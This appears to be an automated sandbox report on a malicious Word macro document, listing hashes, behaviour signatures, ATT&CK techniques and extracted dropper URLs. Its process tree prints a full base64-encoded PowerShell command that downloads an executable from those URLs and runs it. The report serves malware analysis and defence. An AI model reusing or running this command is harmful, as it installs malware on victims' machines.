49ce522ee8d6aac5d7db702d398e0b6bdd01fab467a79a8c0723cfa3bafa73b8

General

Target

49ce522ee8d6aac5d7db702d398e0b6bdd01fab467a79a8c0723cfa3bafa73b8.doc
Size

186KB
MD5

9315ac7bb0fe11fc03a239ff8fd5059c
SHA1

5bc51f211db6b6fb4cafd75567edfead8569b620
SHA256

49ce522ee8d6aac5d7db702d398e0b6bdd01fab467a79a8c0723cfa3bafa73b8
SHA512

149b32cf1f6b490ce083dfb66ad97f4a34c84522ad869cbaf9c8ca959c530bf4c2734c9a90cbbd11ed34064df015140d6985e6acc512f23c459ab8ac7d03cd69

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://vedax.store/cgi-bin/k21-9cbk34xfyh-83/

exe.dropper

https://revenuehotelconsultant.com/wp-includes/wwgmZV/

exe.dropper

https://ruby9mobile.com/icdx/yUAkhVvqx/

exe.dropper

http://psychologische-katzenberatung.de/wp-includes/aJxjHVH/

exe.dropper

http://www.kriti24.com/wp-content/GSMPonYO/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2000	4660	powershell.exe

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

33 2000 powershell.exe

flow	pid	process
33	2000	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3088 WINWORD.EXE
3088 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

2000 powershell.exe
2000 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2000 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

WINWORD.EXE

pid process

3088 WINWORD.EXE
3088 WINWORD.EXE
Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

WINWORD.EXE

pid process

3088 WINWORD.EXE
3088 WINWORD.EXE
3088 WINWORD.EXE
3088 WINWORD.EXE
3088 WINWORD.EXE
3088 WINWORD.EXE
3088 WINWORD.EXE
3088 WINWORD.EXE

pid	process
3088	WINWORD.EXE
3088	WINWORD.EXE

pid	process
2000	powershell.exe
2000	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2000	powershell.exe

pid	process
3088	WINWORD.EXE
3088	WINWORD.EXE

pid	process
3088	WINWORD.EXE
3088	WINWORD.EXE
3088	WINWORD.EXE
3088	WINWORD.EXE
3088	WINWORD.EXE
3088	WINWORD.EXE
3088	WINWORD.EXE
3088	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 3088 wrote to memory of 2192	3088	WINWORD.EXE	splwow64.exe
PID 3088 wrote to memory of 2192	3088	WINWORD.EXE	splwow64.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\49ce522ee8d6aac5d7db702d398e0b6bdd01fab467a79a8c0723cfa3bafa73b8.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3088

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:2192

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABRAG0AdABlAHAAZgB6AHcAbwA9ACcASQBjAGgAawBuAHEAegBzACcAOwAkAEMAeQBhAHkAYQBrAHUAaABrAHEAcQBhACAAPQAgACcAMgA3ACcAOwAkAEwAaQBzAG4AeABrAHYAZwB1AHMAegBtAGgAPQAnAEsAaABkAHQAZwBqAGEAdgAnADsAJABSAHMAZgB3AGwAdABvAHMAeQBpAHYAbwB3AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABDAHkAYQB5AGEAawB1AGgAawBxAHEAYQArACcALgBlAHgAZQAnADsAJABOAHgAeAB6AHEAaQBvAGsAcwA9ACcATABiAGkAcABiAGkAZgBrAGkAcAAnADsAJABMAGYAawBsAHYAeABmAHoAYgA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwBiACcAKwAnAGoAZQAnACsAJwBjAHQAJwApACAAbgBlAFQALgB3AGUAQgBDAGwASQBlAE4AdAA7ACQATQBkAGkAZQBtAHkAYgB4AG4AeABzAGMAbAA9ACcAaAB0AHQAcAA6AC8ALwB2AGUAZABhAHgALgBzAHQAbwByAGUALwBjAGcAaQAtAGIAaQBuAC8AawAyADEALQA5AGMAYgBrADMANAB4AGYAeQBoAC0AOAAzAC8AKgBoAHQAdABwAHMAOgAvAC8AcgBlAHYAZQBuAHUAZQBoAG8AdABlAGwAYwBvAG4AcwB1AGwAdABhAG4AdAAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AdwB3AGcAbQBaAFYALwAqAGgAdAB0AHAAcwA6AC8ALwByAHUAYgB5ADkAbQBvAGIAaQBsAGUALgBjAG8AbQAvAGkAYwBkAHgALwB5AFUAQQBrAGgAVgB2AHEAeAAvACoAaAB0AHQAcAA6AC8ALwBwAHMAeQBjAGgAbwBsAG8AZwBpAHMAYwBoAGUALQBrAGEAdAB6AGUAbgBiAGUAcgBhAHQAdQBuAGcALgBkAGUALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBhAEoAeABqAEgAVgBIAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AawByAGkAdABpADIANAAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAEcAUwBNAFAAbwBuAFkATwAvACcALgAiAHMAYABQAGwAaQBUACIAKAAnACoAJwApADsAJABMAGcAcwBwAGcAcABvAGsAbgBhAGYAPQAnAFkAZwBlAGsAbABiAHAAdQBxAHkAZgAnADsAZgBvAHIAZQBhAGMAaAAoACQAVwB1AGYAdABpAGYAdwBjAHQAeQB3AGwAaAAgAGkAbgAgACQATQBkAGkAZQBtAHkAYgB4AG4AeABzAGMAbAApAHsAdAByAHkAewAkAEwAZgBrAGwAdgB4AGYAegBiAC4AIgBEAG8AdwBOAGwAbwBhAGAARABgAEYAaQBgAEwARQAiACgAJABXAHUAZgB0AGkAZgB3AGMAdAB5AHcAbABoACwAIAAkAFIAcwBmAHcAbAB0AG8AcwB5AGkAdgBvAHcAKQA7ACQARQBhAHUAawBqAHMAbgBpAGwAPQAnAFQAaAB2AGUAcQB4AGwAdwB5AGIAYwBjAGIAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAdAAnACsAJwBlAG0AJwApACAAJABSAHMAZgB3AGwAdABvAHMAeQBpAHYAbwB3ACkALgAiAGwARQBuAGcAYABUAGgAIgAgAC0AZwBlACAAMgAwADAANwA4ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAYABUAEEAUgBUACIAKAAkAFIAcwBmAHcAbAB0AG8AcwB5AGkAdgBvAHcAKQA7ACQASwB0AHUAaQBtAHQAYwBrAG4AcABjAD0AJwBXAGYAbQBuAGYAcgBlAGcAbABkACcAOwBiAHIAZQBhAGsAOwAkAEkAeABkAGMAeQB0AGsAbgBmAGQAPQAnAEsAbAB6AGUAbABxAGEAdgB1AGsAYgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABQAHYAaQBzAGgAegBwAGIAdgBlAHcAPQAnAFAAdwByAGQAaABzAHEAdgBjACcA
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2000

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/2000-140-0x00007FF973420000-0x00007FF973EE1000-memory.dmp

Filesize
10.8MB

Download
memory/2000-139-0x000001E4A7F40000-0x000001E4A7F62000-memory.dmp

Filesize
136KB

Download
memory/2192-137-0x0000000000000000-mapping.dmp

Download
memory/3088-133-0x00007FF95F170000-0x00007FF95F180000-memory.dmp

Filesize
64KB

Download
memory/3088-134-0x00007FF95F170000-0x00007FF95F180000-memory.dmp

Filesize
64KB

Download
memory/3088-135-0x00007FF95CA30000-0x00007FF95CA40000-memory.dmp

Filesize
64KB

Download
memory/3088-136-0x00007FF95CA30000-0x00007FF95CA40000-memory.dmp

Filesize
64KB

Download
memory/3088-130-0x00007FF95F170000-0x00007FF95F180000-memory.dmp

Filesize
64KB

Download
memory/3088-138-0x00000234252C0000-0x00000234252C4000-memory.dmp

Filesize
16KB

Download
memory/3088-131-0x00007FF95F170000-0x00007FF95F180000-memory.dmp

Filesize
64KB

Download
memory/3088-132-0x00007FF95F170000-0x00007FF95F180000-memory.dmp

Filesize
64KB

Download
memory/3088-142-0x00007FF95F170000-0x00007FF95F180000-memory.dmp

Filesize
64KB

Download
memory/3088-143-0x00007FF95F170000-0x00007FF95F180000-memory.dmp

Filesize
64KB

Download
memory/3088-144-0x00007FF95F170000-0x00007FF95F180000-memory.dmp

Filesize
64KB

Download
memory/3088-145-0x00007FF95F170000-0x00007FF95F180000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads